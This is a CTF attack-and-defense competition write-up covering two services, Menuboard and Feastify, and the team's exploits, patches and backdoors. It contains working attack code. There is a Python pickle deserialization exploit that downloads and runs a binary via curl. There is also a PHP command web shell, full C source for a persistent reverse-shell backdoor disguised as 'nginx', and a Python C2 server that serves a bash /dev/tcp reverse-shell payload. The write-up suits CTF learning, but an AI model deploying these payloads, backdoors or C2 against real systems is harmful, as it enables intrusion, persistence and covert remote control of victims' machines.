Super short intro
We played A&D and we ended up 2nd! (Team Kena Paksa). Also bagged the most attacking points for a challenge and first blood!
Team Focus
Priority (highest to lowest)
- Find exploit, put backdoor in our machine, clean all backdoor that is not ours, patch it. (Defense points are the highest)
- Use the exploit, put backdoor in other team’s machine.
- With the backdoor we have, monitor, kill/delete other team’s backdoor in our machine, and other affected team machine. (Basically doing the job of cleaning for other team)
- Get flags from machines that we have access to.
Services
Menuboard
Exploitation
For this challenge, we didn’t solve it the intended way, and we are able to get the flags out for only few round (we couldn’t execute our backdoor in time)
For some reason, we could read the Apache access logs on /var/log/menuboard/apache2_access.log
and we found a payload which someone left.
Through this method, we were able to get some of the flags out of the other machine.
Patching
We reused it and we were able to get single reverse shell to our own machine and patched it. Sadly, we weren’t able to put in our backdoor to other team machines in time for this challenge.
This is our first-simple-quick-aid patch, but it was killed quickly by other teams.
while true; do find /opt/menuboard/assets/uploads/img -type f -delete; sleep 0.5; done &
Based on the logs, we could see that the attackers are using .phar
file to attack us. At first, we added .phar
to the filter but somehow our flag still got leaked.
Last thing we did to patch the thing, is replacing the $file
variable to a hard-codedmeoow.txt
text. Not the best patch, but it is quick and effective. We got defense points in the final round for this.
Feastify 🩸
Exploitation
We didn’t have any screenshots of the actual app because we never installed it. Instead, we decompiled the application with http://www.javadecompilers.com/apk and find any links or http endpoints in the .apk
file.
A simple CTRL + SHIFT + F or grep in the decompiled folder would yield results.
Looking at all the endpoints inside the decompiled source code, these specific lines of code seems to be the most interesting.
String base64Encoded = Base64.encodeToString(new Pickler().dumps(gson.toJson((Object) transformedOrder)), 2);
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty("data", base64Encoded);
RequestBody body = RequestBody.create(gson.toJson((JsonElement) jsonObject), MediaType.parse("application/json; charset=utf-8"));
SharedPreferences sharedPreferences = getSharedPreferences("RestaurantPrefs", 0);
this.okHttpClient.newCall(new Request.Builder().url("https://" + sharedPreferences.getString("ip", (String) null) + ":8000/api/submit_order").header("User-Agent", UserAgentUtil.getDefaultUserAgent(this)).addHeader("Cookie", "session_id=" + sharedPreferences.getString("session_id", (String) null)).post(body).build()).enqueue
Browsing to the endpoint, it seems like it’s only allowing Android devices. But easily bypass-able because it seems to be checking against a User-Agent
. We can easily use any valid Android User-Agent
to access the page.
Then I went on to read more on the source code. Tbh, I didn’t know that there’s a Pickle func/library in Java. Then, I went to the documentation of Pickler()
and then found that it can be generated and be used for Python aswell!
Looking at what we have now, it’s pretty straightforward that this seems to be Python Pickle deserialization challenge.
We quickly set-up a script for the exploitation. First thing we tried is to test if it can curl
to our machine. Finally after confirming the exploit, we sent our compiled binary (backdoor) and executed it on other team machine.
Final exploit script:
class P(object):
def __reduce__(self):
return (os.system, (f"curl -o /tmp/mis {download_url} && chmod 777 /tmp/mis && /tmp/mis &",))
# Create an instance of class P
p = P()
# Serialize the instance and encode it in base64
payload = base64.b64encode(pickle.dumps(p)).decode()
def send_payload(host):
url = f'https://{host}:8000/api/submit_order'
headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 11; Pixel 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36",
"Content-Type": "application/json"
}
data = {"data": payload}
try:
response = requests.post(url, headers=headers, json=data, verify=False)
print(f'Sent payload to {host}, response status code: {response.status_code}')
except requests.RequestException as e:
print(f'Error sending payload to {host}: {e}')
Patching
For this challenge, we found out the vulnerable part of the server code is the decode_and_deserialize()
function.
def decode_and_deserialize(data):
"""Decodes and deserializes the data from base64 and pickle."""
try:
decoded_data = base64.urlsafe_b64decode(data)
deserialized = pickle.loads(decoded_data)
if isinstance(deserialized, str):
deserialized = json.loads(deserialized)
return deserialized, None
except (base64.binascii.Error, pickle.UnpicklingError, json.JSONDecodeError) as err:
return None, str(err)
pickle.loads()
is dangerous because it allows any user to run any Pickle code, and achieve code execution.
What we did to patch this, is again, very simple. We replaced and hardcoded the pickle.loads(decoded_data)
function value to empty string.
def decode_and_deserialize(data):
"""Decodes and deserializes the data from base64 and pickle."""
try:
decoded_data = base64.urlsafe_b64decode(data)
deserialized = pickle.loads('')
if isinstance(deserialized, str):
deserialized = json.loads(deserialized)
return deserialized, None
except (base64.binascii.Error, pickle.UnpicklingError, json.JSONDecodeError) as err:
return None, str(err)
Backdoor methods
There are few other tactics we prepared but did not employ during the competition due to restrictions and playing it safe to not grief other teams too much. (Our team somehow were fork bombed, luckily the restart request from organizer side was quick and we managed to patch it in time 😂)
PHP backdoor with IP block
<?php if(in_array($_SERVER["REMOTE_ADDR"], ["192.168.127.12"])) { echo "<s>" . system($_GET["cmd"]) . "</s>"; } echo $_SERVER["REMOTE_ADDR"]; ?>
Backdoor C binary source code with nginx
as process name, sh
as the child process. With auto-reconnection and /tmp
cleaning. Can be detected with ps -ef --forest
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#define SLEEP_INTERVAL 30
#define CLEANUP_INTERVAL 1
void shell(const char *ip, int port) {
int sockfd;
struct sockaddr_in server_addr;
while (1) {
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
sleep(SLEEP_INTERVAL);
continue;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
close(sockfd);
sleep(SLEEP_INTERVAL);
continue;
}
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
close(sockfd);
sleep(SLEEP_INTERVAL);
continue;
}
pid_t pid = fork();
if (pid < 0) {
close(sockfd);
sleep(SLEEP_INTERVAL);
continue;
}
if (pid == 0) {
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execl("/bin/sh", "sh", NULL);
close(sockfd);
exit(EXIT_FAILURE);
} else {
wait(NULL);
close(sockfd);
sleep(SLEEP_INTERVAL);
}
}
}
void rename(const char *new_name, int argc, char *argv[]) {
strncpy(argv[0], new_name, strlen(argv[0]));
argv[0][strlen(new_name)] = '\0';
for (int i = 1; i < argc; i++) {
memset(argv[i], 0, strlen(argv[i]));
}
}
void clean() {
DIR *dir;
struct dirent *entry;
struct stat statbuf;
if ((dir = opendir("/tmp")) == NULL) {
return;
}
while ((entry = readdir(dir)) != NULL) {
char filepath[1024];
snprintf(filepath, sizeof(filepath), "/tmp/%s", entry->d_name);
if (stat(filepath, &statbuf) == 0 && S_ISREG(statbuf.st_mode)) {
remove(filepath);
}
}
closedir(dir);
}
void daemon() {
while (1) {
clean();
sleep(CLEANUP_INTERVAL);
}
}
int main(int argc, char *argv[]) {
pid_t pid, sid;
const char *ip = "192.168.127.11";
int port = 7655;
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
if (pid > 0) {
exit(EXIT_SUCCESS);
}
umask(0);
sid = setsid();
if (sid < 0) {
exit(EXIT_FAILURE);
}
if ((chdir("/")) < 0) {
exit(EXIT_FAILURE);
}
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
rename("nginx", argc, argv);
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
if (pid == 0) {
daemon();
exit(EXIT_SUCCESS);
}
while (1) {
shell(ip, port);
sleep(SLEEP_INTERVAL);
}
return EXIT_SUCCESS;
}
C2 to receive all the reverse shell connections and log the output
import os
import socket
import threading
import time
from datetime import datetime
from rich.console import Console
from rich.panel import Panel
from flask import Flask, request
import signal
import sys
clients = []
clients_info = {}
console = Console()
app = Flask(__name__)
fixed_port = 7655
def handle_client(client_socket, addr, port):
clients.append(client_socket)
clients_info[client_socket] = addr
session_id = addr[1]
ip_dir = f"connections/{addr[0]}"
port_dir = f"{ip_dir}/{session_id}"
os.makedirs(port_dir, exist_ok=True)
log_file = os.path.join(port_dir, "log.txt")
try:
while True:
data = client_socket.recv(4096)
if not data:
break
decoded_data = data.decode('utf-8')
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
console.print(Panel(decoded_data, title=f"Host {addr[0]}:{session_id}", subtitle=timestamp, border_style="blue"))
with open(log_file, "a") as f:
f.write(f"[{timestamp}] {decoded_data}\n")
except ConnectionResetError:
pass
finally:
client_socket.close()
clients.remove(client_socket)
del clients_info[client_socket]
console.print(f"Connection from {addr} closed.", style="bold red")
def start_server(host, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
console.print(f"[*] Listening on {host}:{port}", style="bold green")
threading.Thread(target=accept_connections, args=(server, port)).start()
def accept_connections(server, port):
while True:
client_socket, addr = server.accept()
console.print(f"[*] Accepted connection from {addr}", style="bold green")
client_handler = threading.Thread(target=handle_client, args=(client_socket, addr, port))
client_handler.start()
def send_command_to_all(command):
for client in clients:
try:
client.send((command + '\n').encode('utf-8'))
addr = clients_info[client]
session_id = addr[1]
ip_dir = f"connections/{addr[0]}"
port_dir = f"{ip_dir}/{session_id}"
log_file = os.path.join(port_dir, "commands.txt")
with open(log_file, "a") as f:
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
f.write(f"[{timestamp}] {command}\n")
except BrokenPipeError:
clients.remove(client)
del clients_info[client]
def generate_payload(ip, port):
payload = f"nohup sh -c '(while true; do bash -i >& /dev/tcp/{ip}/{port} 0>&1; sleep 10; done)' >/dev/null 2>&1 &"
return payload
@app.route('/access.log', methods=['GET'])
def serve_payload():
ip = request.remote_addr
payload = generate_payload(ip, fixed_port)
return payload, 200, {'Content-Type': 'text/plain'}
def send_heartbeat():
while True:
time.sleep(30)
for client in clients:
try:
client.send(b'\n')
except BrokenPipeError:
clients.remove(client)
del clients_info[client]
def signal_handler(sig, frame):
console.print("[*] Termination signal received. Cleaning up...", style="bold yellow")
for client in clients:
client.close()
sys.exit(0)
if __name__ == "__main__":
host = "0.0.0.0"
os.makedirs("connections", exist_ok=True)
start_server(host, fixed_port)
threading.Thread(target=lambda: app.run(host=host, port=9999)).start()
threading.Thread(target=send_heartbeat, daemon=True).start()
signal.signal(signal.SIGINT, signal.SIG_IGN)
signal.signal(signal.SIGTERM, signal_handler)
signal.signal(signal.SIGUSR1, signal_handler)
while True:
command = input("Enter command to send to all clients: ")
send_command_to_all(command)
Final thoughts
I have always been waiting for A&D CTF in Malaysia, and even though this A&D is not the normal kind we’ve seen, it is still quite enjoyable to me. Props to the organizers for organizing and handling the CTF. To more A&Ds in Malaysia <3
Thanks for reading my write-up!